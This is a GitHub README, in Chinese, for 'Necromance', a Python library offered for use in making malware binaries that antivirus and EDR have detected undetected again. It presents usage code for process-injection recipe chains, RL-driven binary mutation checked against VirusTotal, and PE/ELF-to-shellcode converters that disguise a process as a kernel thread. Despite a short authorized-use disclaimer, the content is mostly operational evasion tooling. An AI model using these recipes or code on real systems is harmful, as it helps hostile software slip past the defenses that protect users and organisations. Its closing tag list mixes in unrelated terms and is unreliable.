ykahalan/necromance
GitHub: ykahalan/necromance
面向渗透测试与安全研究的 Python 二进制加固库,通过注入链与强化学习变异策略让被检测的二进制文件规避 AV/EDR。
Stars: 0 | Forks: 0
# Necromance
**Necromance** 是一个面向渗透测试人员和安全研究人员的 Python 二进制加固与复活库。其目的只有一个:将被 AV/EDR **捕获、检测或拦截**的二进制文件,通过 Necromance 起死回生 —— 在保持完整功能的同时规避检测。
每一项技术都是一个 `Primitive` —— 一个独立的单元,包含 C 语言骨架、IOC 指纹、OPSEC 评分(1–5 ★)、ML 特征增量以及文件类型兼容性。ML 模块实现了完整的 **gym-malware + malware_rl 动作空间**,并由 LIEF 提供高保真突变支持,同时暴露 OpenAI Gym 环境用于 RL 智能体训练。
## 概念
```
Binary gets caught by AV/EDR
↓
Necromance(binary) ← auto-detect filetype
↓
Apply injection chain ← txf_phantom + early_cascade + ...
↓
ML mutation loop ← gym-malware action space via LIEF
↓
Oracle check ← VirusTotal / local AV / EMBER
↓
Binary evades detection ← back from the dead ✓
```
## 快速开始
```
from necromance import Necromance
nc = Necromance()
# === 注入链 ===
# 自动检测文件类型 → 应用最佳链
recipe = nc.raise_("caught_malware.exe")
print(recipe.print_summary())
print(recipe.skeleton_c) # composited C implementation
print(recipe.ioc_summary) # defender IOCs to watch for
# 命名配方 (最高 OPSEC PE 链)
recipe = nc.composer.named("phantom_cascade") # OPSEC 4.8/5
# === ML 复活 ===
# 通过变异复活检测到的二进制文件
result = nc.ml.necromance(
"caught_malware.exe",
oracle = "dummy", # or "virustotal", "local_av", "ember"
strategy = "roulette", # MiniMal IJCAI 2025 roulette-wheel selection
max_steps = 50,
)
if result.evasion:
result.save("resurrected.exe")
print(result.summary()) # ✓ EVADED [PE] steps=7 score=0.000
# === 格式转换器 ===
# PE → shellcode (hasherezade pe_to_shellcode 方法)
sc = nc.pe2sc.convert("malware.exe", encode=True)
# ELF → memfd-loader shellcode
sc = nc.el2sc.convert("payload.elf", process_name="kworker/1:0")
# APE 多平台 blob (运行于 Windows + Linux)
win_sc = nc.pe2sc.convert("win_payload.exe")
lnx_sc = nc.el2sc.convert("lnx_payload.elf")
ape_blob = nc.ape.embed_dual_payload(win_sc, lnx_sc)
c_src = nc.ape.generate_c_source(win_sc.hex(), lnx_sc.hex())
# === 浏览 / 研究 ===
print(nc.composer.list_primitives())
print(nc.composer["txf_phantom"].card())
print(nc.sota.detection_matrix())
print(nc.ml.engine.list_actions("PE"))
```
## 模块映射
```
necromance/
├── __init__.py ← Necromance facade — all modules under nc.*
├── core/
│ ├── primitive.py ← Primitive dataclass (shared base)
│ ├── composer.py ← NecromanceComposer: chain builder + compat check
│ └── filetype.py ← Magic-byte filetype detector + 8 profiles
├── primitives/
│ ├── catalogue.py ← 30 curated primitives (ALLOC/WRITE/EXEC/EVASION)
│ └── old_primitives.py ← PE primitive definitions
│
├── lief_layer/
│ └── __init__.py ← LIEFManipulator (LIEF primary / pure-Python fallback)
│ Full gym-malware + malware_rl ACTION_TABLE (24 PE actions)
│
├── converters/
│ ├── pe_to_shellcode.py ← PE → PIC shellcode (hasherezade pe_to_shellcode)
│ ├── elf_to_shellcode.py ← ELF → memfd-loader shellcode
│ │ APEConverter — multiplatform binary builder
│ └── __init__.py
│
├── ml/
│ └── __init__.py ← NecromanceArmor — ML resurrection engine
│ BinaryFeatures (601-dim EMBER-compatible)
│ MutationEngine (36 actions: PE/APK/ELF/SC)
│ DetectionOracle (dummy/VT/local_av/ember/custom)
│ NecromanceGymEnv (OpenAI Gym RL environment)
│ GANHook (PyTorch/TF/ONNX/callable)
│
├── sota/ ← 32 SOTA evasion techniques (2020–2026)
├── anti_debug/ ← 17 anti-debug checks
├── anti_disasm/ ← 14 anti-disassembly stubs
├── anti_vm/ ← 19 VM/sandbox detection checks
├── obfuscation/ ← String encryption, API hashing, packer reference
├── evasion/ ← Classic evasion reference
└── utils/ ← Entropy, pattern scan, PE/ELF parsers
```
## LIEF 集成
LIEF (Library to Instrument Executable Formats) 为所有高保真 PE 突变提供支持。若未安装,纯 Python 回退将以较低的保真度处理所有相同的操作。
```
pip install lief
```
```
from necromance.lief_layer import lief_status, LIEFManipulator
print(lief_status()) # LIEF 0.x.x — full mutation fidelity
m = LIEFManipulator()
data = open("sample.exe", "rb").read()
# 所有 24 个 gym-malware + malware_rl 动作
data = m.add_imports(data, dll="kernel32.dll", fn="Sleep")
data = m.rename_section(data)
data = m.remove_debug(data)
data = m.break_optional_header_checksum(data)
data = m.modify_timestamp(data)
# 通过 LIEF 进行特征提取
feats = m.extract_features(data)
# → {num_imports, num_exports, section_entropies, import_names, ...}
```
## ML — Necromance 加固引擎
### 动作空间 (共 36 个)
**PE (23 个动作)** — gym-malware + malware_rl + Necromance 扩展
| 动作 | OPSEC | 来源 |
|---|---|---|
| `overlay_append` | ★★ | gym-malware (Anderson/Endgame 2018) |
| `pad_overlay` | ★★ | malware_rl (bfilar) |
| `append_benign_data_overlay` | ★★ | malware_rl |
| `append_benign_binary_overlay` | ★★★ | malware_rl |
| `rename_section` | ★★ | gym-malware |
| `add_section_benign_data` | ★★★ | gym-malware + malware_rl |
| `add_section_strings` | ★★★ | malware_rl |
| `add_strings_to_overlay` | ★★ | malware_rl |
| `add_bytes_to_section_cave` | ★★★ | malware_rl |
| `add_imports` | ★★★ | gym-malware |
| `remove_debug` | ★★ | gym-malware |
| `modify_optional_header` | ★★ | gym-malware + malware_rl |
| `modify_timestamp` | ★★ | gym-malware |
| `break_optional_header_checksum` | ★★ | malware_rl |
| `modify_machine_type` | ★★ | malware_rl |
| `break_signature` | ★★★ | gym-malware |
| `upx_pack` | ★★ | gym-malware |
| `upx_unpack` | ★★ | gym-malware |
| `create_new_entry` | ★★★ | gym-malware |
| `remove_resources` | ★★ | Necromance |
| `pe_to_shellcode_wrap` | ★★★★ | hasherezade pe_to_shellcode |
| `xor_encode_payload` | ★★★★ | Necromance anti-entropy |
| `strip_rich_header` | ★★ | Necromance |
**APK (7 个动作)** — GEAAD (Nature 2025) / DOpGAN: `apk_opcode_nop_insert`, `apk_dead_code_inject`, `apk_string_encrypt`, `apk_class_rename`, `apk_reflection_invoke`, `apk_manifest_permission_min`, `apk_dex_reorder`
**ELF/SC (6 个动作)**: `elf_section_encrypt`, `elf_symbol_strip`, `elf_upx_pack`, `sc_xor_encode`, `sc_dict_encode`, `elf_to_shellcode_wrap`
### ML 复活
```
armor = nc.ml
# 复活一个被捕获的二进制文件
result = armor.necromance(
"detected.exe",
oracle = "virustotal", # set VT_API_KEY env var
strategy = "roulette", # roulette | random | greedy
max_steps = 80,
)
result.save("resurrected.exe")
print(result.summary())
# 特征提取 (601 维 EMBER 兼容)
features = armor.features("sample.exe")
vec = features.to_vector() # numpy-ready list[float]
# 完整 2381 维: pip install ember lightgbm
# RL 环境 (OpenAI Gym 接口)
env = armor.make_gym_env("sample.exe", oracle_name="local_av")
# from stable_baselines3 import PPO
# model = PPO("MlpPolicy", env)
# model.learn(total_timesteps=100_000)
# 自定义检测模型作为 oracle
def my_clf(data: bytes):
from necromance.ml import OracleResult
score = float(my_model.predict(data)[0])
return OracleResult(detected=score > 0.5, score=score, engine="my_clf")
armor.register_oracle("my_clf", my_clf)
# GAN 钩子 (PyTorch 生成器)
armor.register_gan("pe_gan", torch_gen, framework="pytorch",
filetype="PE", input_dim=601, output_dim=601)
```
### RL 策略
| 策略 | 行为 | 来源 |
|---|---|---|
| `roulette` | 根据 OPSEC 评分进行轮盘赌加权选择 | MiniMal (IJCAI 2025) |
| `random` | 均匀随机动作选择 | gym-malware baseline |
| `greedy` | 动作按 OPSEC 降序排列 | PSP-Mal greedy |
## 格式转换器
### PE → Shellcode
将 Windows PE 二进制文件转换为位置无关的 shellcode blob。字节 0 处没有 MZ 头。开头的加载器 stub 会找到嵌入的 PE,手动将其映射到 RWX 内存,修复重定位,解析导入,并跳转到原始入口点。
```
converter = nc.pe2sc
# 基础转换
sc = converter.convert("malware.exe")
# 带 XOR 编码 (降低熵, 隐藏 MZ)
sc = converter.convert("malware.exe", encode=True, key=b"\xde\xad\xbe\xef")
# 转换前分析
info = converter.analyse(open("malware.exe", "rb").read())
# → {arch: x64, num_sections: 5, has_relocations: True, entropy: 6.82, ...}
# 通过任意 Necromance 原语注入 shellcode
recipe = nc.composer.named("phantom_cascade")
# recipe.skeleton_c 包含 C 实现
```
基于:[hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode) — RunPE.asm 反射加载方式。
### ELF → Shellcode
将 Linux ELF 二进制文件转换为基于 memfd 的 shellcode blob。该 stub 在运行时调用 `memfd_create`,写入 ELF,并通过 `fexecve` 执行。无磁盘残留。该进程显示为内核线程名称。
```
converter = nc.el2sc
sc = converter.convert("payload.elf", process_name="kworker/1:0")
sc = converter.convert("payload.elf", encode=True, key=b"\x41")
# 分析
info = converter.analyse(open("payload.elf","rb").read())
# → {arch: x86-64, type: PIE/shared, entry: 0x1060, entropy: 6.21}
```
### APE — 多平台执行
使用 Cosmopolitan APE 多语言格式和汇编级 OS 检测,构建一个可在 **Windows、Linux 和 macOS** 上运行的单文件二进制文件。
```
ape = nc.ape
# OS 检测 shellcode (37 字节)
# 返回: 0=win32, 1=linux64, 2=win64, 3=linux32
sc = ape.os_detect_shellcode()
# 将两个 payload 嵌入到一个 blob 中
blob = ape.embed_dual_payload(win_shellcode, linux_shellcode)
# 生成用于 cosmopolitan 编译的完整 C 源代码
c_src = ape.generate_c_source(
windows_payload_hex = win_sc.hex(),
linux_payload_hex = lnx_sc.hex(),
)
# 编译:
# gcc -g -Os -static -nostdlib -nostdinc -fno-pie -no-pie \
# -mno-red-zone -fno-omit-frame-pointer -pg -mnop-mcount \
# -o payload.com.dbg payload.c \
# -fuse-ld=bfd -Wl,-T,ape.lds \
# -include cosmopolitan.h crt.o ape.o cosmopolitan.a
# objcopy -S -O binary payload.com.dbg payload.com
print(ape.build_instructions())
print(ape.ioc_notes())
```
**OS 检测技术** (crimsonRain / 0x00sec 2021):
- 64-bit: `ds == 0` → Linux, `ds != 0` → Windows (段寄存器技巧)
- 32-bit: `fs == 0` → Linux, `fs != 0` → Windows
- `dec eax` 在 64 位模式下变为 `REX.W` 前缀 — 用一条指令检测 32 与 64 位
**APE 注意事项**: 首次执行后,二进制文件会“同化”到主机 OS。若要持久进行多平台使用,二进制文件必须在执行前复制自身(参见 APE 文档)。
## Primitive 目录 — 30 个精选原语
8 个原语已被显式移除(完整原因见 `primitives/catalogue.py`):
| 已移除 | 原因 |
|---|---|
| `virtual_alloc_ex` (opsec=1) | 被 `pagefile_section` 取代;其文档中明确“避免”使用 |
| `nt_alloc_virtual` (opsec=2) | 仍是 MEM_PRIVATE;Moneta 对其检测与 VirtualAllocEx 完全一致 |
| `write_process_memory` (opsec=1) | 被每个 EDR Hook;`nt_write_virtual` 是基准底线 |
| `create_remote_thread` (opsec=1) | Sysmon EID 8;普遍告警 |
| `nt_create_thread_ex` (opsec=2) | `HIDE_FROM_DEBUGGER` 无法抑制内核回调 |
| `nt_queue_apc` (opsec=2) | 需要可警告线程;`nt_queue_apc_thread_ex` 是升级版 |
| `elf_mmap_anon` (opsec=3) | 被 `elf_memfd_exec` 取代(命名 fd,maps 中无匿名 RX) |
| `elf_signal_handler` (active=False) | 已过时;被 `elf_ptrace_fork` 取代 |
### 命名配方
| 配方 | 文件类型 | OPSEC | 链 |
|---|---|---|---|
| `phantom_cascade` | PE | **4.8/5** | TxF phantom + Early Cascade + PPID/BlockDLL + indirect syscall |
| `ghost_injection` | PE | 3.7/5 | Pagefile section + shared write + PoolParty |
| `stomp_threadless` | PE | 3.8/5 | Module stomp + NtWrite + threadless hook + Ekko sleep |
| `com_stealth` | PE | 3.7/5 | Pagefile + shared write + COM IRundown::DoCallback |
| `fork_dump` | PE | 3.5/5 | Pagefile + NtWrite + Dirty Vanity fork |
| `geaad_apk` | APK | 2.7/5 | GEAAD GAN-guided APK mutation chain |
| `elf_stealth` | ELF | 2.9/5 | memfd + ptrace anti-debug + section encrypt |
## SOTA 参考 (32 项技术, 2020–2026)
```
nc.sota.print_all()
nc.sota.describe("early_cascade")
nc.sota.detection_matrix() # 32 techs × 6 detection tools
nc.sota.syscall_timeline() # Hell's Gate → Blindside
nc.sota.byovd_drivers() # 9 vulnerable drivers + CVEs
nc.sota.red_team_chain() # 2025 kill chain
nc.sota.search("threadless")
```
## 依赖项
**核心:** 零外部依赖 (纯 Python 3.8+)。
**推荐:**
| 包 | 功能 |
|---|---|
| `lief` | 通过 LIEF 实现全保真 PE/ELF 突变 (24 个 gym-malware 动作) |
| `androguard` | 用于 APK 突变原语的 DEX 解析 |
| `lightgbm` + `ember` | EMBER 2381 维特征向量 + EMBER ML 预言机 |
| `stable-baselines3` | 在 NecromanceGymEnv 上进行 PPO/DQN RL 训练 |
| `torch` / `tensorflow` / `onnxruntime` | GAN hook 后端 |
| PATH 中的 UPX 二进制文件 | upx_pack / upx_unpack 突变 |
| VirusTotal API key (`VT_API_KEY`) | VirusTotal 检测预言机 |
## 来源传承
| 来源 | 贡献 |
|---|---|
| gym-malware (Endgame/Anderson 2018) | 原始 PE RL 规避环境 + 11 个核心动作 |
| malware_rl (bfilar) | 将 ACTION_TABLE 扩展至 16 个 LIEF 支持的突变 |
| PSP-Mal (zhan8002) | Shapley 先验 RL,2381 维 EMBER 状态 |
| IJCAI 2025 MiniMal | 轮盘赌选择,硬标签黑盒攻击 |
| GEAAD Nature 2025 | GAN 引导的 Android 操作码频率修改 |
| Kozák et al. 2024 | PPO + Cuckoo 预言机,功能保留 |
| crimsonRain (0x00sec 2021) | APE 多平台执行 + OS 检测 shellcode |
| Cosmopolitan (justine.lol) | APE 多语言格式,一次编译到处运行 |
| hasherezade/pe_to_shellcode | PE→shellcode 反射加载器 (RunPE.asm) |
| vx-underground VXUG-Papers | Hell's Gate, BlockDlls, phantom process |
| MDSec | COM IRundown::DoCallback, module stomping, SilentMoonwalk |
| Outflank (Oct 2024) | Early Cascade Injection |
| SafeBreach DEF CON 2023 | PoolParty (8 种线程池变体) |
| Gabriel Landau / Elastic | Process Ghosting, Herpaderping |
| Deep Instinct BH EU 2022 | Dirty Vanity / RtlCreateProcessReflection |
| CCob (BSides Cymru 2023) | Threadless Injection |
| Cymulate Aug 2025 | Blindside HWBP patchless bypass |
| x33fcon 2024 | 熵隐藏在纯 .text 中 (sc_dict_encode) |
| 0x00sec binary armory | anti_debug (17), anti_disasm (14), anti_vm (19) |
## 法律声明
仅限**授权渗透测试和安全研究**使用。所有技术均记录在公开的学术和安全研究文献中。用户在使用前有责任获得适当的书面授权。
标签:CNCF毕业项目, DNS 反向解析, DNS 解析, EDR绕过, gym-malware, LIEF, ML安全, OpenAI Gym, PE文件处理, Python安全库, _shellcode_, 二进制混淆, 代码装甲, 免杀技术, 凭据扫描, 反病毒绕过, 密钥泄露防护, 强化学习, 恶意软件变异, 文件免杀, 暴力破解检测, 机器学习安全, 逆向工具, 高交互蜜罐